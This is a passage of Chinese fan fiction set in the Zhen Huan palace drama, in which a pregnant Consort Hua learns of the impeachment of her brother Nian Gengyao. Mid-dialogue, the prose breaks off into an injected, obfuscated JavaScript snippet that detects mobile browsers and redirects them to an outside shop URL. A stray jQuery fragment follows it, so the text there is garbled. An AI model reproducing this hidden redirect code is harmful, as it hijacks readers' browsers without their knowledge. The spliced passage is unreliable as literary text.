甄远道在重大朝会上参奏年羹尧的事情,很快也传到了翊坤宫。
她现在有孕也快六个月了,肚子大了许多,身子却没有像其他孕妇那般日渐丰腴,反而是略显纤细一些。华妃的气色还可以,只是不复昔日那般美艳,她这胎来的意外,怀的谨慎也怀的辛苦。自从得知自己怀孕以后,除了得瑟显摆过几日之后,她就变得深居简出,一心在翊坤宫里保胎,其实也是因为她时时感到疲惫,实在是没有精力折腾其他事情或与其他嫔妃斗争了。
温实初虽不曾为华妃亲自诊过脉,但华妃的胎基本上是有二江服侍着,偶有什么拿不准的事情二江就去向院判张弥请教,温实初也就略知一二。华妃之所以有孕是因为染疫重病,二江用的药过猛,对她身体有损但却误打误撞却能够助孕,再加上自她禁足、染疫以来就再用过欢宜香,所以就机缘巧合之下怀了身孕。
但是,她的身体毕竟长时间与麝香接触,怀胎就会十分辛苦、时时有滑胎的危险,所以华妃时时腰腹坠胀,各种不适天天发生。二江和张弥得到皇上要尽力保住华妃这一胎,故拼尽全身医术为华妃保胎。
八月的翊坤宫,庭院中还是鲜花绚烂、蝴蔷薇满墙、蝴蝶兰高贵、芍药红艳、牡丹粉白、莲花在大缸里摇曳,唯独没有金菊吐蕊,华妃可是记得当年眉庄新宠,合宫的绿菊都送到了存菊堂,而自己却偏偏以为那是送往翊坤宫的,闹了个大笑话。
但此时,翊坤宫是整个后宫最热闹的所在,嫔妃和皇上经常前来探望,内务府也遵照皇上的旨意,把最好的东西都送到翊坤宫。
一时之间,华妃的荣华无人匹敌。
这日,曹贵人就带着温宜陪着华妃坐着闲聊,颂芝拿个小银锤子轻轻敲打着华妃的小腿,她有些下肢浮肿。而温宜已满两周岁了,可以在地上到处走了。二岁的女娃,圆圆的粉脸、乌溜溜的大眼睛、小巧的翘鼻、流着口水的小嘴,藕节似的小胳膊小腿,一切都是那么可爱!
“温宜身体比小时候好多了呢。”华妃一身银红色绣孕蝠福寿软烟罗常服,浓云绿鬓上斜插一支三凤寸许金珠步摇,又簪了几枚珊瑚缠金丝花卉簪子,耳上是金串珠耳环,端的是富贵大方。
曹贵人满脸陪笑道:“是啊,小孩子长得快,吸收好,小病小灾很快就过去了。”她又看了看华妃隆起的腹,恭敬道:“娘娘这一胎尖尖的,和臣妾那时不同,必定是个小阿哥。”
华妃有了身孕,甄嬛小产又病了,宠妃中只有眉庄还略略能进华妃的眼中,且眉庄无子嗣,华妃的气也就顺了很多,连带着对曹贵人和温宜都好了许多。
华妃未带护甲的纤纤玉手轻轻抚摸着隆起的腹部,满脸的慈爱之意,低首轻道:“本宫希望是个小阿哥,但若是个小公主也很好!只要健康就好!”
曹贵人暗自腹诽:不知昔日谁说过若是个女儿也聊胜于无罢了。但她必定不会故意惹华妃不快,她点了点头道:“娘娘日后荣宠更甚,何愁不会多生几个?!”
华妃笑了笑,插了面前小几上的一块青苹果小口送入嘴中,边呼真酸边大吃不已。
曹贵人在一旁也不禁笑道:“酸儿辣女,娘娘定会心愿达成。”
此刻,刚刚陪着温宜去殿外玩耍的音袖悄悄走了进来,在曹贵人耳旁低语。华妃一见,脸色微愠,曹琴默还敢有事瞒着自己。她啪地将小银叉子扔在果盘中,肃然道:“何事不能大大方方讲?”
音袖吓得忙跪在地上,却垂头不语。华妃凤眼一扬,颂芝就要唤人进来打音袖。曹贵人见状赶紧求情,“娘娘,音袖对臣妾说的是臣妾母家的事情,因和娘娘没有关系才...”
“胡说!你母家的事情自可以等你回启祥宫时再讲。说!”华妃凌厉如剑的眼神又一次出现在音袖的眼中,她吓得有些发抖,她努力地抬起头,惶恐的声音里含着关切,“娘娘,奴婢告诉贵人的是:奴婢刚刚带小公主去玩耍,公主跑出了翊坤宫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13432984|141440||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的大门,奴婢追出去时正好听见有路过的宫人在议论...”她停住了,有些不敢说下去。
“议论什么!?”华妃喝道!
“他们说莞嫔的父亲在朝会上参了年大将军贪腐。”音袖低低地说完,边说还边偷窥华妃。
华妃的心像是在荆棘丛中翻滚,处处疼痛,想将深深刺入心房的尖锐取出,可是刚想用力别的地方也在疼痛。那根尖锐的刺就梗在心房,痛苦难当。
她侧脸看了看颂芝,见她仍在为自己捶打着小腿,轻轻地咬着下唇,想必早就已经知道了。
“颂芝,你什么时候听说的?”她拉住她握住银锤的手,将颂芝拉到身边问道。
颂芝鼻尖微红,眸中闪过一层水汽,她竭力抑制着不受控的哽咽,“昨天傍晚,府中捎来了信,让奴婢小心伺候娘娘。最好是不告诉娘娘这件事,但实在迫不得已就让娘娘不要担心。”
华妃松开手,颓然地倒在身后大大的宝蓝团花暗纹迎枕上,“府中既捎信但又刻意瞒着本宫,看来此次参奏不同于以往啊!”
曹贵人赶紧上前轻轻抚着华妃的胸口,轻言软语道:“娘娘勿忧,年大将军功高盖世,必是有那起子小人心热眼红,诬陷大将军。以往这些事也
有,但皇上也没信,这次皇上更加不会相信的。”
华妃斜飞的凤眼紧紧地盯着曹琴默,那眼眸中充满了热切的期盼,“是吗?你觉得这次不会有事?”很快,她眸中的热烈暗了下来,复又喃喃低语道:“可是,这次是在大朝会上啊,那么多的文武百官,甄远道既然敢在那种场合参哥哥,必是收集了不少材料。”
曹琴默见她这般焦虑、忐忑,心中刚刚涌起的那一丝幸灾乐祸很快被华妃的情绪感染,万一年羹尧有问题,华妃必会受到牵连,那她也不会有好日子。
不行,她得早做准备。
她还可以与沈眉庄合作,当然,不到万不得已之时她不会做!